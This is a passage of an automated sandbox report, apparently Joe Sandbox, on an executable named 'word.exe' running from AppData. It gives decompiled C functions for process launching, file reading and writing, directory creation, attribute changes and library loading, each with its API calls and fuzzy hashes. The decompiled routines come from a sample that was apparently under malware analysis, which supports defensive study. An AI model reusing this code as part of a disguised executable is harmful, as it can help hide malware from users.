Source File: 00000005.00000002.987514881.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.987509042.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987527452.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000437000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043E000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000044B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.0000000000455000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: File$Attributes$DeleteDirectoryRemove
String ID:
API String ID: 1655745494-0
Opcode ID: 80ad4dccc83bd5cfbcd7ef077da852fe0cb096cb549a199170c52783d075929e
Instruction ID: f7500ddcb6900c42920b0fa7cdf939b3a50fd8fb6693fff67202f671924a8b23
Opcode Fuzzy Hash: 80ad4dccc83bd5cfbcd7ef077da852fe0cb096cb549a199170c52783d075929e
Instruction Fuzzy Hash: 6DE0E531218A9156C3207734AD0CB5B2A98EF86314F09893FF5A2B11E0D77885078AAD

Uniqueness

Uniqueness Score: -1.00%

Function 00406AE0 Relevance: 4.5, APIs: 3, Instructions: 27
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406AE0(void* __ecx, void* _a4) {
				long _v8;
				long _t6;

				_t6 = WaitForSingleObject(_a4, 0x64);
				while(_t6 == 0x102) {
					E00406A71(0xf);
					_t6 = WaitForSingleObject(_a4, 0x64);
				}
				GetExitCodeProcess(_a4,  &_v8); // executed
				return _v8;
			}

0x00406af1
0x00406b08
0x00406afc
0x00406b06
0x00406b06
0x00406b13
0x00406b1f

APIs

WaitForSingleObject.KERNEL32(?,00000064), ref: 00406AF1
WaitForSingleObject.KERNEL32(?,00000064,0000000F), ref: 00406B06
GetExitCodeProcess.KERNELBASE(?,?), ref: 00406B13

Memory Dump Source

Source File: 00000005.00000002.987514881.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.987509042.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987527452.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000437000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043E000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000044B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.0000000000455000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: ObjectSingleWait$CodeExitProcess
String ID:
API String ID: 2567322000-0
Opcode ID: c0daa64154bb0774b0f48346674b492318025e1df3185352ae56c24ee987a067
Instruction ID: dffe0f0baa3edeb4a8159ab808a8d66eaa88359a938bc324e0f181ad12cbd91f
Opcode Fuzzy Hash: c0daa64154bb0774b0f48346674b492318025e1df3185352ae56c24ee987a067
Instruction Fuzzy Hash: 36E09236600118FBDB00AB54DD05E9E7B6ADB45704F114036FA05B6190C6B1AE22DA94

Uniqueness

Uniqueness Score: -1.00%

Function 004061DB Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 22
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004061DB(void* _a4, void* _a8, long _a12) {
				int _t7;
				long _t11;

				_t11 = _a12;
				_t7 = ReadFile(_a4, _a8, _t11,  &_a12, 0); // executed
				if(_t7 == 0 || _t11 != _a12) {
					return 0;
				} else {
					return 1;
				}
			}

0x004061df
0x004061ef
0x004061f7
0x00000000
0x004061fe
0x00000000
0x00406200

APIs

ReadFile.KERNELBASE(?,00000000,00000000,00000000,00000000), ref: 004061EF

Strings

248058040134, xrefs: 004061DE

Memory Dump Source

Source File: 00000005.00000002.987514881.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.987509042.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987527452.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000437000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043E000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000044B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.0000000000455000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: FileRead
String ID: 248058040134
API String ID: 2738559852-1212554544
Opcode ID: 0024165f2f5d2011be9120f41fe866c54f7b8e58de784a1218c53157080e4b8c
Instruction ID: 689b8facb1381159ac92aeccc4703b7db47ce2620db9a14c340ec3ef8a35c8b1
Opcode Fuzzy Hash: 0024165f2f5d2011be9120f41fe866c54f7b8e58de784a1218c53157080e4b8c
Instruction Fuzzy Hash: C1E0863250021AABDF10AE518C04AEB375CEB01360F014477F922E2150D230E82187E8

Uniqueness

Uniqueness Score: -1.00%

Function 004015C1 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E004015C1(short __ebx, void* __eflags) {
				void* _t17;
				int _t23;
				void* _t25;
				signed char _t26;
				short _t28;
				short _t31;
				short* _t34;
				void* _t36;

				_t28 = __ebx;
				 *(_t36 + 8) = E00402DA6(0xfffffff0);
				_t17 = E00405FE2(_t16);
				_t32 = _t17;
				if(_t17 != __ebx) {
					do {
						_t34 = E00405F64(_t32, 0x5c);
						_t31 =  *_t34;
						 *_t34 = _t28;
						if(_t31 != _t28) {
							L5:
							_t25 = E00405C16( *(_t36 + 8));
						} else {
							_t42 =  *((intOrPtr*)(_t36 - 0x28)) - _t28;
							if( *((intOrPtr*)(_t36 - 0x28)) == _t28 || E00405C33(_t42) == 0) {
								goto L5;
							} else {
								_t25 = E00405B99( *(_t36 + 8)); // executed
							}
						}
						if(_t25 != _t28) {
							if(_t25 != 0xb7) {
								L9:
								 *((intOrPtr*)(_t36 - 4)) =  *((intOrPtr*)(_t36 - 4)) + 1;
							} else {
								_t26 = GetFileAttributesW( *(_t36 + 8)); // executed
								if((_t26 & 0x00000010) == 0) {
									goto L9;
								}
							}
						}
						 *_t34 = _t31;
						_t32 = _t34 + 2;
					} while (_t31 != _t28);
				}
				if( *((intOrPtr*)(_t36 - 0x2c)) == _t28) {
					_push(0xfffffff5);
					E00401423();
				} else {
					E00401423(0xffffffe6);
					E00406668(0x436000,  *(_t36 + 8));
					_t23 = SetCurrentDirectoryW( *(_t36 + 8)); // executed
					if(_t23 == 0) {
						 *((intOrPtr*)(_t36 - 4)) =  *((intOrPtr*)(_t36 - 4)) + 1;
					}
				}
				 *0x42a2e8 =  *0x42a2e8 +  *((intOrPtr*)(_t36 - 4));
				return 0;
			}

0x004015c1
0x004015c9
0x004015cc
0x004015d1
0x004015d5
0x004015d7
0x004015df
0x004015e1
0x004015e4
0x004015ea
0x00401604
0x00401607
0x004015ec
0x004015ec
0x004015ef
0x00000000
0x004015fa
0x004015fd
0x004015fd
0x004015ef
0x0040160e
0x00401615
0x00401624
0x00401624
0x00401617
0x0040161a
0x00401622
0x00000000
0x00000000
0x00401622
0x00401615
0x00401627
0x0040162b
0x0040162c
0x004015d7
0x00401634
0x00401663
0x004022f1
0x00401636
0x00401638
0x00401645
0x0040164d
0x00401655
0x0040165b
0x0040165b
0x00401655
0x00402c2d
0x00402c39

APIs

Part of subcall function 00405FE2: CharNextW.USER32(?), ref: 00405FF0
Part of subcall function 00405FE2: CharNextW.USER32(00000000), ref: 00405FF5
Part of subcall function 00405FE2: CharNextW.USER32(00000000), ref: 0040600D

GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 0040161A

Part of subcall function 00405B99: CreateDirectoryW.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 00405BDC

SetCurrentDirectoryW.KERNELBASE(?,00436000,?,00000000,000000F0), ref: 0040164D

Memory Dump Source

Source File: 00000005.00000002.987514881.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.987509042.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987527452.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000437000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043E000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000044B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.0000000000455000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID:
API String ID: 1892508949-0
Opcode ID: 5100f8edfc5c73fcce05ecfe13f7e88f84c01c09c33b7a9b27ef58f2b5b0e964
Instruction ID: a0118e7b9b939ef3ea3e51add98df8039a5aa70d3b8e99a19be4f9c31e9f39fe
Opcode Fuzzy Hash: 5100f8edfc5c73fcce05ecfe13f7e88f84c01c09c33b7a9b27ef58f2b5b0e964
Instruction Fuzzy Hash: 04112231508105EBCF30AFA0CD4099E36A0EF15329B28493BF901B22F1DB3E4982DB5E

Uniqueness

Uniqueness Score: -1.00%

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43
windowCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E00401389(signed int _a4) {
				intOrPtr* _t6;
				void* _t8;
				void* _t10;
				signed int _t11;
				void* _t12;
				signed int _t16;
				signed int _t17;
				void* _t18;

				_t17 = _a4;
				while(_t17 >= 0) {
					_t6 = _t17 * 0x1c +  *0x42a290;
					if( *_t6 == 1) {
						break;
					}
					_push(_t6); // executed
					_t8 = E00401434(); // executed
					if(_t8 == 0x7fffffff) {
						return 0x7fffffff;
					}
					_t10 = E0040136D(_t8);
					if(_t10 != 0) {
						_t11 = _t10 - 1;
						_t16 = _t17;
						_t17 = _t11;
						_t12 = _t11 - _t16;
					} else {
						_t12 = _t10 + 1;
						_t17 = _t17 + 1;
					}
					if( *((intOrPtr*)(_t18 + 0xc)) != 0) {
						 *0x42924c =  *0x42924c + _t12;
						SendMessageW( *(_t18 + 0x18), 0x402, MulDiv( *0x42924c, 0x7530,  *0x429234), 0);
					}
				}
				return 0;
			}

0x0040138a
0x004013fa
0x0040139b
0x004013a0
0x00000000
0x00000000
0x004013a2
0x004013a3
0x004013ad
0x00000000
0x00401404
0x004013b0
0x004013b7
0x004013bd
0x004013be
0x004013c0
0x004013c2
0x004013b9
0x004013b9
0x004013ba
0x004013ba
0x004013c9
0x004013cb
0x004013f4
0x004013f4
0x004013c9
0x00000000

APIs

MulDiv.KERNEL32 ref: 004013E4
SendMessageW.USER32(?,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000005.00000002.987514881.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.987509042.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987527452.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000437000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043E000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000044B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.0000000000455000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 09e122a9c5ca6d14e20a0c17f6d9bb0c47d9e5f073d0cae9cf8d248ab6fa9320
Instruction ID: af17251ef12b8b272b5eaf8d1bef107274ce64b6e67bb2dd4604cf2723900e86
Opcode Fuzzy Hash: 09e122a9c5ca6d14e20a0c17f6d9bb0c47d9e5f073d0cae9cf8d248ab6fa9320
Instruction Fuzzy Hash: 6F012831724220EBEB295B389D05B6A3698E710714F10857FF855F76F1E678CC029B6D

Uniqueness

Uniqueness Score: -1.00%

Function 00405C4B Relevance: 3.0, APIs: 2, Instructions: 24
processCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405C4B(WCHAR* _a4) {
				struct _PROCESS_INFORMATION _v20;
				int _t7;

				0x426750->cb = 0x44;
				_t7 = CreateProcessW(0, _a4, 0, 0, 0, 0x4000000, 0, 0, 0x426750,  &_v20); // executed
				if(_t7 != 0) {
					CloseHandle(_v20.hThread);
					return _v20.hProcess;
				}
				return _t7;
			}

0x00405c54
0x00405c74
0x00405c7c
0x00405c81
0x00000000
0x00405c87
0x00405c8b

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00426750,00000000), ref: 00405C74
CloseHandle.KERNEL32(?), ref: 00405C81

Memory Dump Source

Source File: 00000005.00000002.987514881.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.987509042.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987527452.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000437000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043E000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000044B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.0000000000455000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID:
API String ID: 3712363035-0
Opcode ID: ab61a979a714f7ec4effc1a78875f568a822f35fd178278bd28005db307d5d14
Instruction ID: 91309136e62a13352d93043ad9bb7922807806bb2ea2f765c8e9c4a894a003d9
Opcode Fuzzy Hash: ab61a979a714f7ec4effc1a78875f568a822f35fd178278bd28005db307d5d14
Instruction Fuzzy Hash: 59E0B6B4600209BFFB109B64EE09F7B7BADFB04648F414565BD51F2190D778A8158A78

Uniqueness

Uniqueness Score: -1.00%

Function 00406A35 Relevance: 3.0, APIs: 2, Instructions: 22
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406A35(signed int _a4) {
				struct HINSTANCE__* _t5;
				signed int _t10;

				_t10 = _a4 << 3;
				_t8 =  *(_t10 + 0x40a410);
				_t5 = GetModuleHandleA( *(_t10 + 0x40a410));
				if(_t5 != 0) {
					L2:
					return GetProcAddress(_t5,  *(_t10 + 0x40a414));
				}
				_t5 = E004069C5(_t8); // executed
				if(_t5 == 0) {
					return 0;
				}
				goto L2;
			}

0x00406a3d
0x00406a40
0x00406a47
0x00406a4f
0x00406a5b
0x00000000
0x00406a62
0x00406a52
0x00406a59
0x00000000
0x00406a6a
0x00000000

APIs

GetModuleHandleA.KERNEL32(?,00000020,?,00403750,0000000B), ref: 00406A47
GetProcAddress.KERNEL32(00000000,?), ref: 00406A62

Part of subcall function 004069C5: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004069DC
Part of subcall function 004069C5: wsprintfW.USER32 ref: 00406A17
Part of subcall function 004069C5: LoadLibraryExW.KERNELBASE(?,00000000,00000008), ref: 00406A2B

Memory Dump Source

Source File: 00000005.00000002.987514881.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.987509042.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987527452.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000437000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043E000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000044B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.0000000000455000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: 2c5be687f5fa61a336a49914f64a515c5dfea5ee9312c993601bf5eaa599f6ad
Instruction ID: 0464b4a7853edb7079d0776797c383171681067eb8499b99987f1e8ea9f8efb8
Opcode Fuzzy Hash: 2c5be687f5fa61a336a49914f64a515c5dfea5ee9312c993601bf5eaa599f6ad
Instruction Fuzzy Hash: E0E086727042106AD210A6745D08D3773E8ABC6711307883EF557F2040D738DC359A79

Uniqueness

Uniqueness Score: -1.00%

Function 00406158 Relevance: 3.0, APIs: 2, Instructions: 16
fileCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00406158(WCHAR* _a4, long _a8, long _a12) {
				signed int _t5;
				void* _t6;

				_t5 = GetFileAttributesW(_a4); // executed
				asm("sbb ecx, ecx");
				_t6 = CreateFileW(_a4, _a8, 1, 0, _a12,  ~(_t5 + 1) & _t5, 0); // executed
				return _t6;
			}

0x0040615c
0x00406169
0x0040617e
0x00406184

APIs

GetFileAttributesW.KERNELBASE(00000003,00403113,C:\Users\user\AppData\Roaming\word.exe,80000000,00000003), ref: 0040615C
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 0040617E

Memory Dump Source

Source File: 00000005.00000002.987514881.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.987509042.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987527452.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000437000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043E000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000044B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.0000000000455000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: bc48b18717e6d0ecb647aea7fc0ab07bebcbb2e2e3a0bd9572a83b91cd6509df
Instruction ID: 0e1b57c135d9ed337dcee0f1630d7a3ffd6699826ab823f4ff8c6da5104765b0
Opcode Fuzzy Hash: bc48b18717e6d0ecb647aea7fc0ab07bebcbb2e2e3a0bd9572a83b91cd6509df
Instruction Fuzzy Hash: DCD09E71254201AFEF0D8F20DF16F2E7AA2EB94B04F11952CB682940E1DAB15C15AB19

Uniqueness

Uniqueness Score: -1.00%

Function 00406133 Relevance: 3.0, APIs: 2, Instructions: 13
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406133(WCHAR* _a4) {
				signed char _t3;
				signed char _t7;

				_t3 = GetFileAttributesW(_a4); // executed
				_t7 = _t3;
				if(_t7 != 0xffffffff) {
					SetFileAttributesW(_a4, _t3 & 0x000000fe); // executed
				}
				return _t7;
			}

0x00406138
0x0040613e
0x00406143
0x0040614c
0x0040614c
0x00406155

APIs

GetFileAttributesW.KERNELBASE(?,?,00405D38,?,?,00000000,00405F0E,?,?,?,?), ref: 00406138
SetFileAttributesW.KERNELBASE(?,00000000), ref: 0040614C

Memory Dump Source

Source File: 00000005.00000002.987514881.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.987509042.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987527452.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000437000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043E000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000044B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.0000000000455000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: a764032cc0ce64e7f87df91ab84dfb27e8fca44cfd77f22972d2dc2d25b91850
Instruction ID: 3e6336b5c460747e2e1e0fbe3c4db8defb42c0044e1a92967a1d29a512d2a4bc
Opcode Fuzzy Hash: a764032cc0ce64e7f87df91ab84dfb27e8fca44cfd77f22972d2dc2d25b91850
Instruction Fuzzy Hash: 73D0C972514130ABC2102728AE0889ABB56EB64271B014A35F9A5A62B0CB304C628A98

Uniqueness

Uniqueness Score: -1.00%

Function 00405C16 Relevance: 3.0, APIs: 2, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405C16(WCHAR* _a4) {
				int _t2;

				_t2 = CreateDirectoryW(_a4, 0); // executed
				if(_t2 == 0) {
					return GetLastError();
				}
				return 0;
			}

0x00405c1c
0x00405c24
0x00000000
0x00405c2a
0x00000000

APIs

CreateDirectoryW.KERNELBASE(?,00000000,00403633,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403923), ref: 00405C1C
GetLastError.KERNEL32 ref: 00405C2A

Memory Dump Source

Source File: 00000005.00000002.987514881.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.987509042.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987527452.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000437000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043E000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000044B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.0000000000455000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 3d774f31bfc7c5d70b6f8c035fc875d1b29c99f0800ffc9da4ab7b914865a185
Instruction ID: 66e62c5d6c7775ff4cea72667941029308d228c48495a605f612c1d2d9e1fc74
Opcode Fuzzy Hash: 3d774f31bfc7c5d70b6f8c035fc875d1b29c99f0800ffc9da4ab7b914865a185
Instruction Fuzzy Hash: FBC04C31218605AEE7605B219F0CB177A94DB50741F114839E186F40A0DA788455D92D

Uniqueness

Uniqueness Score: -1.00%

Function 0040620A Relevance: 1.5, APIs: 1, Instructions: 22
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040620A(void* _a4, void* _a8, long _a12) {
				int _t7;
				long _t11;

				_t11 = _a12;
				_t7 = WriteFile(_a4, _a8, _t11,  &_a12, 0); // executed
				if(_t7 == 0 || _t11 != _a12) {
					return 0;
				} else {
					return 1;
				}
			}

0x0040620e
0x0040621e
0x00406226
0x00000000
0x0040622d
0x00000000
0x0040622f

APIs

WriteFile.KERNELBASE(?,00000000,00000000,00000000,00000000), ref: 0040621E

Memory Dump Source

Source File: 00000005.00000002.987514881.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.987509042.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987527452.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
